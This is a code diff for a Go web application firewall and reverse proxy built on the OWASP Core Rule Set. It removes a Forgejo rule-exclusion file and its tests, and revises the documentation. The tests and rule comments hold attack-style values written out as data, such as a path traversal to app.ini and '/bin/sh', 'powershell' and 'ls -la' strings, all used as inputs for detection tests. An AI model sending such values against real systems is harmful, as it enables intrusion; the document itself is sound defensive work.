The limits apply on every path and in every `SWW_WAF_MODE`. A client in
|
The limits apply on every path and in every `SWW_WAF_MODE`. A client in
|
||||||
`SWW_ALLOW_NETS` skips them, as it skips the Core Rule Set. In `observe` mode
|
`SWW_ALLOW_NETS` skips them, as it skips the Core Rule Set. In `observe` mode
|
||||||
such a request is answered `allow` with `would_action`, and no other check runs
|
such a request is answered `allow` with `would_action`, and the Core Rule Set
|
||||||
on it.
|
does not read it.
|
||||||
|
|
||||||
The Core Rule Set runs each of its rules on each cookie, so thousands of small
|
The Core Rule Set runs each of its rules on each cookie, so thousands of small
|
||||||
cookies would keep it busy for over a second. Within the limits, one long cookie
|
cookies would keep it busy for over a second. Within the limits, one long cookie
|
||||||
@@ -2384,10 +2327,8 @@ but for these headers:
|
|||||||
on.
|
on.
|
||||||
- For a peer outside `SWRP_TRUSTED_PROXIES`, its forwarded headers are its own
|
- For a peer outside `SWRP_TRUSTED_PROXIES`, its forwarded headers are its own
|
||||||
claims and are replaced. `X-Forwarded-For` names the peer, `X-Forwarded-Host`
|
claims and are replaced. `X-Forwarded-For` names the peer, `X-Forwarded-Host`
|
||||||
the host it asked for, and `X-Forwarded-Proto` plain `http`. Every other
|
the host it asked for, and `X-Forwarded-Proto` plain `http`. The other headers
|
||||||
header whose name starts with `X-Forwarded-` is removed, and so are
|
in which traefik tells an app about a visitor are removed.
|
||||||
`Forwarded` and `X-Real-IP`. A name spelt with `_` for `-`, such as
|
|
||||||
`X_Forwarded_Ssl`, counts as the same name.
|
|
||||||
- `X-Request-ID`, which carries the fresh id.
|
- `X-Request-ID`, which carries the fresh id.
|
||||||
- `X-Client-ASN` and `X-Client-Country`, which carry what `waf` answered. A
|
- `X-Client-ASN` and `X-Client-Country`, which carry what `waf` answered. A
|
||||||
header it did not give is left out. Any of the two the visitor sent is
|
header it did not give is left out. Any of the two the visitor sent is
|
||||||
@@ -2540,11 +2481,11 @@ It sets no `ENTRYPOINT` or `USER` of its own. The container must start
|
|||||||
- The image's `run` script is `/etc/service/sww/run`. It starts `waf` when
|
- The image's `run` script is `/etc/service/sww/run`. It starts `waf` when
|
||||||
`SWW_COMMAND` is `waf`, and `rproxy` when it is `rproxy`, unset or empty. It
|
`SWW_COMMAND` is `waf`, and `rproxy` when it is `rproxy`, unset or empty. It
|
||||||
runs either as the `sww` user (uid and gid 65532), with runit's `chpst`. For
|
runs either as the `sww` user (uid and gid 65532), with runit's `chpst`. For
|
||||||
`waf`, it first makes `SWW_STATE_DIR` if it is missing, gives it and every
|
`waf`, it first makes `SWW_STATE_DIR` and every file in it belong to that
|
||||||
file in it to that user, and sets its mode to `0700`. It also makes
|
user. It also makes `SWW_CACHE_DIR` if it is missing, and gives it and every
|
||||||
`SWW_CACHE_DIR` if it is missing, and gives it and every file in it to that
|
file in it to that user. For `rproxy` it changes no owner. With any other
|
||||||
user. For `rproxy` it changes no owner. With any other value, it starts
|
value, it starts nothing, and stops with a message naming `SWW_COMMAND` and
|
||||||
nothing, and stops with a message naming `SWW_COMMAND` and its value.
|
its value.
|
||||||
|
|
||||||
Every `run` script, the app's included, is a bash script. It starts with
|
Every `run` script, the app's included, is a bash script. It starts with
|
||||||
`#!/usr/bin/env bash` and `set -euo pipefail`, and puts its code in a `main`
|
`#!/usr/bin/env bash` and `set -euo pipefail`, and puts its code in a `main`
|
||||||
@@ -2637,8 +2578,8 @@ app image built on it would inherit it. `rproxy` keeps nothing, and needs no
|
|||||||
volume.
|
volume.
|
||||||
|
|
||||||
`waf` keeps its cache files in `SWW_CACHE_DIR`, `/var/cache/sww` by default,
|
`waf` keeps its cache files in `SWW_CACHE_DIR`, `/var/cache/sww` by default,
|
||||||
which the `run` script makes. The cache directory needs no volume and can be
|
which the `run` script makes. It needs no volume and can be left out of backups:
|
||||||
left out of backups: a new container starts with empty caches, which fill again.
|
a new container starts with empty caches, which fill again.
|
||||||
|
|
||||||
### Tokens
|
### Tokens
|
||||||
|
|
||||||
|
|||||||
+1
-2
@@ -23,8 +23,7 @@ back or dropped.
|
|||||||
- the day's AbuseIPDB checks used up.
|
- the day's AbuseIPDB checks used up.
|
||||||
- `file_error`: one of:
|
- `file_error`: one of:
|
||||||
- a rule file or state file edit with an error;
|
- a rule file or state file edit with an error;
|
||||||
- a cache file that does not parse, at start or after an edit;
|
- a state file that cannot be written;
|
||||||
- a state file or cache file that cannot be written;
|
|
||||||
- a replacement lookup database that cannot be read.
|
- a replacement lookup database that cannot be read.
|
||||||
- `summary`: the hourly summary of alerts held back.
|
- `summary`: the hourly summary of alerts held back.
|
||||||
|
|
||||||
|
|||||||
+1
-2
@@ -19,8 +19,7 @@ way.
|
|||||||
- The service directory `/etc/service/sww`, with the `run` script
|
- The service directory `/etc/service/sww`, with the `run` script
|
||||||
`share/sww.run`.
|
`share/sww.run`.
|
||||||
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
||||||
default rule file `share/rules.d/00-default.rules`. The `run` script makes
|
default rule file `share/rules.d/00-default.rules`.
|
||||||
`SWW_STATE_DIR` when it is missing.
|
|
||||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||||
|
|
||||||
## Pins
|
## Pins
|
||||||
|
|||||||
+1
-1
@@ -53,7 +53,7 @@ the two (see "The image's command" below).
|
|||||||
## State and cache files
|
## State and cache files
|
||||||
|
|
||||||
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||||
absolute path that can be written. The image's `run` script makes it.
|
absolute path that exists and can be written.
|
||||||
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||||
written after a ban is made, lifted or made permanent. A duration.
|
written after a ban is made, lifted or made permanent. A duration.
|
||||||
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
|
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
|
||||||
|
|||||||
+4
-16
@@ -8,7 +8,7 @@ top-level `version` of 1.
|
|||||||
what cannot be fetched again, so back them up:
|
what cannot be fetched again, so back them up:
|
||||||
- `bans.json`;
|
- `bans.json`;
|
||||||
- `clients.json`;
|
- `clients.json`;
|
||||||
- `abuseipdb-checks-spent.json`;
|
- `abuseipdb-checks.json`;
|
||||||
- `alerts.json`.
|
- `alerts.json`.
|
||||||
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
|
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
|
||||||
answers from outside services, which are asked again when a file is lost, so
|
answers from outside services, which are asked again when a file is lost, so
|
||||||
@@ -16,8 +16,7 @@ top-level `version` of 1.
|
|||||||
- `lookups.json`;
|
- `lookups.json`;
|
||||||
- `lists.json`;
|
- `lists.json`;
|
||||||
- `dnsbl.json`;
|
- `dnsbl.json`;
|
||||||
- `abuseipdb-scores.json`;
|
- `abuseipdb-scores.json`.
|
||||||
- `routewatch.json`.
|
|
||||||
|
|
||||||
## `bans.json`
|
## `bans.json`
|
||||||
|
|
||||||
@@ -82,7 +81,7 @@ since it was first seen:
|
|||||||
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
||||||
kept, and which nothing adds to.
|
kept, and which nothing adds to.
|
||||||
|
|
||||||
## `abuseipdb-checks-spent.json`
|
## `abuseipdb-checks.json`
|
||||||
|
|
||||||
The AbuseIPDB checks spent today, so that a restart does not spend the daily
|
The AbuseIPDB checks spent today, so that a restart does not spend the daily
|
||||||
budget again:
|
budget again:
|
||||||
@@ -133,16 +132,6 @@ A cache file. AbuseIPDB's scores still in use, one per line:
|
|||||||
- `score`: from 0 to 100;
|
- `score`: from 0 to 100;
|
||||||
- `fetched`: when AbuseIPDB answered.
|
- `fetched`: when AbuseIPDB answered.
|
||||||
|
|
||||||
## `routewatch.json`
|
|
||||||
|
|
||||||
A cache file. routewatch's answers from the last hour, one per line:
|
|
||||||
|
|
||||||
- `client`;
|
|
||||||
- `netblock`: the netblock the client's address is announced in, empty for an
|
|
||||||
address without a live route;
|
|
||||||
- `asn`: the number of the AS that originates the netblock, 0 for none;
|
|
||||||
- `answered`: when routewatch answered.
|
|
||||||
|
|
||||||
## Sizes
|
## Sizes
|
||||||
|
|
||||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||||
@@ -154,7 +143,6 @@ A cache file. routewatch's answers from the last hour, one per line:
|
|||||||
more.
|
more.
|
||||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||||
full.
|
full.
|
||||||
- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
|
- `abuseipdb-checks.json`: a few bytes.
|
||||||
- `abuseipdb-checks-spent.json`: a few bytes.
|
|
||||||
- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
|
- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
|
||||||
a few MiB or less.
|
a few MiB or less.
|
||||||
@@ -56,11 +56,9 @@ const (
|
|||||||
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
||||||
// failing or refused, or the day's AbuseIPDB checks used up.
|
// failing or refused, or the day's AbuseIPDB checks used up.
|
||||||
EventSourceFailure = "source_failure"
|
EventSourceFailure = "source_failure"
|
||||||
// EventFileError is one of:
|
// EventFileError is a rule file or state file edited while sww
|
||||||
// - a rule file or state file edited while sww runs that does not parse;
|
// runs that does not parse, a replacement of the lookup database that
|
||||||
// - a cache file that does not parse, at start or after an edit;
|
// cannot be read, or a state file that cannot be written.
|
||||||
// - a state file or cache file that cannot be written;
|
|
||||||
// - a replacement of the lookup database that cannot be read.
|
|
||||||
EventFileError = "file_error"
|
EventFileError = "file_error"
|
||||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||||
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||||
|
|||||||
+2321
-1
File diff suppressed because it is too large.
Load diff
File renamed without changes.
@@ -48,17 +48,7 @@ type RProxy struct {
|
|||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
}
|
}
|
||||||
|
|
||||||
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
|
|
||||||
const defaultUpstreamURL = "http://127.0.0.1:8081"
|
|
||||||
|
|
||||||
// privateRanges are the private address ranges, the default trusted
|
|
||||||
// proxies.
|
|
||||||
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
|
|
||||||
|
|
||||||
var (
|
var (
|
||||||
errNotUpstreamURL = errors.New(
|
|
||||||
"is not a URL with only a scheme, a host and an optional port, " +
|
|
||||||
"such as http://127.0.0.1:8081")
|
|
||||||
errNeedsWAFBackend = errors.New(
|
errNeedsWAFBackend = errors.New(
|
||||||
"is required: it is waf's URL, such as http://waf:8080")
|
"is required: it is waf's URL, such as http://waf:8080")
|
||||||
errNotDisposition = errors.New("is not allow or deny")
|
errNotDisposition = errors.New("is not allow or deny")
|
||||||
@@ -134,14 +124,6 @@ func (c *RProxy) LogValue() slog.Value {
|
|||||||
return slog.GroupValue(c.settings...)
|
return slog.GroupValue(c.settings...)
|
||||||
}
|
}
|
||||||
|
|
||||||
// appURL reads a setting that is the app's URL.
|
|
||||||
func (e *environment) appURL(name, defaultValue string) *url.URL {
|
|
||||||
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
|
|
||||||
e.check(name, err)
|
|
||||||
|
|
||||||
return upstream
|
|
||||||
}
|
|
||||||
|
|
||||||
// wafBackend reads the setting that is waf's URL, which must be set.
|
// wafBackend reads the setting that is waf's URL, which must be set.
|
||||||
func (e *environment) wafBackend(name string) *url.URL {
|
func (e *environment) wafBackend(name string) *url.URL {
|
||||||
value := e.value(name, "")
|
value := e.value(name, "")
|
||||||
@@ -208,32 +190,3 @@ func parseMilliseconds(value string) (time.Duration, bool) {
|
|||||||
|
|
||||||
return time.Duration(n) * time.Millisecond, true
|
return time.Duration(n) * time.Millisecond, true
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
|
||||||
// optional port from 1 to 65535, and nothing else, since the request's
|
|
||||||
// own path and query go to the app unchanged.
|
|
||||||
func parseUpstreamURL(value string) (*url.URL, error) {
|
|
||||||
upstream, err := url.Parse(value)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
|
|
||||||
upstream.Hostname() != "" && upstream.User == nil &&
|
|
||||||
upstream.Opaque == "" &&
|
|
||||||
(upstream.Path == "" || upstream.Path == "/") &&
|
|
||||||
upstream.RawQuery == "" &&
|
|
||||||
upstream.Fragment == ""
|
|
||||||
if !onlySchemeAndHost {
|
|
||||||
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
|
||||||
}
|
|
||||||
|
|
||||||
if upstream.Port() != "" {
|
|
||||||
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
|
|
||||||
if err != nil || port == 0 {
|
|
||||||
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return upstream, nil
|
|
||||||
}
|
|
||||||
File diff suppressed because it is too large.
Load diff
@@ -1,6 +1,6 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
|
||||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||||
// response.
|
// response.
|
||||||
@@ -36,7 +36,7 @@ import (
|
|||||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
||||||
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
||||||
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
|
// and nextcloudExclusions for the ninth.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -102,10 +102,7 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# So does the thirteenth.
|
# So does the thirteenth.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# So does the fourteenth.
|
# And the fourteenth.
|
||||||
%s
|
|
||||||
|
|
||||||
# And the fifteenth.
|
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The sixth: only the rules for requests are loaded, and no response is
|
# The sixth: only the rules for requests are loaded, and no response is
|
||||||
@@ -242,19 +239,11 @@ var vaultwardenExclusions string
|
|||||||
//go:embed nextcloud.conf
|
//go:embed nextcloud.conf
|
||||||
var nextcloudExclusions string
|
var nextcloudExclusions string
|
||||||
|
|
||||||
// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
|
|
||||||
// requests that skip the rules that refused them there, where Forgejo differs
|
|
||||||
// from gitea, as Coraza directives.
|
|
||||||
//
|
|
||||||
//go:embed forgejo.conf
|
|
||||||
var forgejoExclusions string
|
|
||||||
|
|
||||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||||
// without, the rest of the fifth change. flash is Forgejo's name for
|
// without, the rest of the fifth change.
|
||||||
// gitea_flash.
|
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
|
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
@@ -363,7 +352,7 @@ type CoreRuleSet struct {
|
|||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the fifteen changes, at params'
|
// New returns the Core Rule Set with the fourteen changes, at params'
|
||||||
// paranoia level, without the rules it switches off, reading request
|
// paranoia level, without the rules it switches off, reading request
|
||||||
// bodies up to params' limit, and with params' exclusions file loaded
|
// bodies up to params' limit, and with params' exclusions file loaded
|
||||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||||
@@ -393,7 +382,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||||
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
||||||
nextcloudExclusions, forgejoExclusions)
|
nextcloudExclusions)
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
|
|||||||
@@ -204,7 +204,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantChange checks that crs lets through passes, a request one of the
|
// wantChange checks that crs lets through passes, a request one of the
|
||||||
// fifteen changes is for, and still finds result in refused, a request like
|
// fourteen changes is for, and still finds result in refused, a request like
|
||||||
// it that the change is not for.
|
// it that the change is not for.
|
||||||
func wantChange(
|
func wantChange(
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||||
@@ -370,7 +370,7 @@ func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
|
|||||||
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFlashAndRedirectToCookiesAreNotRead(t *testing.T) {
|
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -380,12 +380,8 @@ func TestFlashAndRedirectToCookiesAreNotRead(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
// flash is Forgejo's name for gitea_flash.
|
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
|
||||||
for _, name := range []string{"gitea_flash", "flash"} {
|
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
|
||||||
wantChange(t, crs, get("/owner/repo", "Cookie: "+name+"="+flash),
|
|
||||||
get("/owner/repo", "Cookie: message="+flash), matched(930120))
|
|
||||||
}
|
|
||||||
|
|
||||||
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
|
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
|
||||||
get("/", "Cookie: redirect="+redirectTo), matched(930120))
|
get("/", "Cookie: redirect="+redirectTo), matched(930120))
|
||||||
|
|
||||||
@@ -1063,50 +1059,6 @@ func TestGiteaAttacksAreRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
// The searches of a user's and of an organisation's repositories.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/alice?tab=repositories&q=ls%20-la",
|
|
||||||
"/acme?q=ls%20-la&sort=recentupdate",
|
|
||||||
"/jane.doe?tab=repositories&q=ls%20-la",
|
|
||||||
} {
|
|
||||||
wantResult(t, crs, get(target), coreruleset.Result{})
|
|
||||||
}
|
|
||||||
|
|
||||||
// 932250 still applies on a path that ends in a server-side script's
|
|
||||||
// extension or holds a character no name holds, to another field, and on
|
|
||||||
// a path of two segments.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/index.php?q=ls%20-la",
|
|
||||||
"/INDEX.PHP?q=ls%20-la",
|
|
||||||
"/index%2Ephp?q=ls%20-la",
|
|
||||||
"/search.cgi?q=ls%20-la",
|
|
||||||
"/login.jsp;jsessionid=abc?q=ls%20-la",
|
|
||||||
"/alice?tab=ls%20-la",
|
|
||||||
"/alice/tools?q=ls%20-la",
|
|
||||||
} {
|
|
||||||
wantResult(t, crs, get(target), matched(932250))
|
|
||||||
}
|
|
||||||
|
|
||||||
// A command after a ";" in q is still refused on each of these paths.
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
for _, target := range []string{
|
|
||||||
"/alice?tab=repositories&q=",
|
|
||||||
"/index.php?q=",
|
|
||||||
"/wp-login.php?q=",
|
|
||||||
"/alice/tools?q=",
|
|
||||||
} {
|
|
||||||
if got := inspect(t, crs, get(target+commandInjection)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
||||||
// REST API routes of a post and of the tags.
|
// REST API routes of a post and of the tags.
|
||||||
const (
|
const (
|
||||||
|
|||||||
@@ -1,21 +0,0 @@
|
|||||||
# The fifteenth change: on Forgejo's paths, some fields skip the rules that
|
|
||||||
# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
|
|
||||||
# eighth change's fixes for gitea apply to its requests too, so this file holds
|
|
||||||
# only what Forgejo sends and gitea does not. Each exclusion runs with the
|
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
|
||||||
# Core Rule Set's rules. Each comment names a request the rule refused.
|
|
||||||
|
|
||||||
# Forgejo's search of a wiki sends the text searched for in q, which skips
|
|
||||||
# these rules there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932160: /bin/sh
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
|
|
||||||
"id:900680,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
@@ -1,78 +0,0 @@
|
|||||||
package coreruleset_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/http"
|
|
||||||
"slices"
|
|
||||||
"testing"
|
|
||||||
)
|
|
||||||
|
|
||||||
// forgejoSearches are Forgejo's searches whose q skips some rules: the
|
|
||||||
// wiki's, from the fifteenth change, and the searches for a name, from the
|
|
||||||
// eighth.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var forgejoSearches = []string{
|
|
||||||
"/alice/tools/wiki/search",
|
|
||||||
"/explore/repos",
|
|
||||||
"/explore/users",
|
|
||||||
"/alice/tools/branches",
|
|
||||||
"/alice/-/packages",
|
|
||||||
"/api/v1/packages/alice",
|
|
||||||
"/alice",
|
|
||||||
}
|
|
||||||
|
|
||||||
// forgejoAttacks are an SQL injection, a path traversal, a script injection
|
|
||||||
// and a shell command after a ";", as query values.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var forgejoAttacks = []string{
|
|
||||||
sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
||||||
|
|
||||||
for _, path := range forgejoSearches {
|
|
||||||
for _, attack := range forgejoAttacks {
|
|
||||||
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
|
|
||||||
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The same field in a form data body.
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
// /bin/sh and the hard values, which q lets through on the wiki's
|
|
||||||
// search, stay refused in q on paths near it and in another field on it.
|
|
||||||
// /alice/wiki/search would be the code search of a repository named
|
|
||||||
// wiki, where the eighth change lets q through. Forgejo has no owner
|
|
||||||
// named api, so /api/wiki/search is not one.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/alice/tools/wiki/Home?q=",
|
|
||||||
"/alice/tools/wiki/search/x?q=",
|
|
||||||
"/api/wiki/search?q=",
|
|
||||||
"/alice/tools/wiki/search?other=",
|
|
||||||
} {
|
|
||||||
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -102,16 +102,13 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
|||||||
# name in q, which skips these rules there:
|
# name in q, which skips these rules there:
|
||||||
# 930120: .profile
|
# 930120: .profile
|
||||||
# 932120: powershell-scripts
|
# 932120: powershell-scripts
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3-app
|
# 932260: python3-app
|
||||||
# 944130: org.apache.commons.logging
|
# 944130: org.apache.commons.logging
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
||||||
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search|\
|
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
|
||||||
api/v1/packages/[^/]+)$" \
|
|
||||||
"id:900602,phase:1,pass,nolog,\
|
"id:900602,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||||
|
|
||||||
@@ -119,43 +116,21 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
|||||||
# rules there:
|
# rules there:
|
||||||
# 930120: .profile
|
# 930120: .profile
|
||||||
# 932120: powershell-scripts
|
